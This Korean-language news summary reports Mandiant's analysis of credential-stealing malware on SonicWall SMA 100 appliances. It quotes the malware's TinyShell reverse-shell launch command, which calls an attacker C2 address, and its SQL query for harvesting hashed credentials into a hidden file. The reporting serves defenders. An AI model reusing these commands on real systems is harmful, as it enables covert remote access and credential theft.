멀웨어가 SonicWall SMA 100 시리즈 어플라이언스를 표적으로 삼습니다.
Mandiant 연구진은 중국에서 시작된 것으로 추정되는 SonicWall SMA 100 시리즈 어플라이언스를 표적으로 삼는 멀웨어 캠페인을 발견했습니다.
이 멀웨어는 2021년에 도입되었을 가능성이 높으며, 펌웨어 업그레이드를 견디는 복원력이 매우 뛰어난 것으로 입증되었습니다. 이 멀웨어의 주요 목표는 사용자 자격 증명을 훔쳐서 공격자에게 변종 TinyShell 파이썬 명령 셸을 통해 높은 권한의 액세스 권한을 부여하는 것입니다.
이 악성 코드는 일련의 배시 스크립트와 단일 TinyShell 변종 ELF 바이너리로 구성됩니다. 악성 배시 스크립트 제품군의 전반적인 동작은 어플라이언스에 대한 철저한 이해를 보여주며 안정성과 지속성을 제공하기 위해 시스템에 맞게 잘 조정되어 있습니다.
SMA 100 시리즈는 원격 사용자가 싱글 사인온(SSO) 웹 포털을 통해 회사 리소스에 로그인할 수 있도록 하는 액세스 제어 시스템으로, 사용자 자격 증명을 가로채면 공격자가 민감한 정보를 얻는 데 유리합니다.
주요 멀웨어 진입 지점은 firewalld라는 bash 스크립트로, 시스템 내 파일 수의 제곱에 대해 메인 루프를 한 번 실행합니다: ... ...for j in $(ls / -R) do for i in $(ls / -R) do:... 이 스크립트는 SQL 명령을 실행하여 자격 증명을 탈취하고 다른 구성 요소를 실행하는 일을 담당합니다.
httpsd 프로세스가 아직 실행 중이 아닌 경우, firewalld 초기 함수는 "nohup /bin/httpsd -cC2 IP ADDRESS> -d 5 -m -1 -p 51432 > /dev/null 2>&1 &" 명령으로 TinyShell 백도어 httpsd를 실행합니다. 이렇게 하면 TinyShell이 리버스 셸 모드로 실행되고 -m 플래그가 지정한 시간과 요일에 -d 플래그에 의해 결정된 비콘 간격으로 지정된 IP 주소 및 포트에 연결하도록 지시합니다. IP 주소가 제공되지 않으면 바이너리에는 리버스 셸 모드에 사용되는 하드코딩된 IP 주소가 포함됩니다. 수신 바인드 셸 모드에서도 사용할 수 있습니다.
이 멀웨어의 주요 목표는 로그인한 모든 사용자로부터 해시된 자격 증명을 훔치는 것으로 보입니다. 이 멀웨어는 sqlite3 데이터베이스 /tmp/temp.db에 대해 세션에서 select userName,password라는 SQL 명령을 일상적으로 실행하고 그 결과를 공격자가 만든 텍스트 파일 /tmp/syslog.db에 복사하여 이를 수행합니다. 어플라이언스는 소스 데이터베이스 /tmp/temp.db에서 해시된 자격 증명을 포함한 세션 정보를 추적합니다. 공격자가 해시를 획득하면 오프라인에서 해시를 크래킹할 수 있습니다.
연구원들은 SonicWall의 제품 보안 및 사고 대응 팀(PSIRT)과 협력하여 감염된 장치를 분석한 결과 공격자가 도구를 안정적이고 지속적으로 만들기 위해 많은 노력을 기울였다는 사실을 발견했습니다. 이 멀웨어는 10초마다 펌웨어 업그레이드를 확인하고 업그레이드 후에도 계속해서 자격 증명을 수집하기 위해 업그레이드에 자신을 주입합니다.
이 글의 출처는 Malwarebytes의 기사입니다.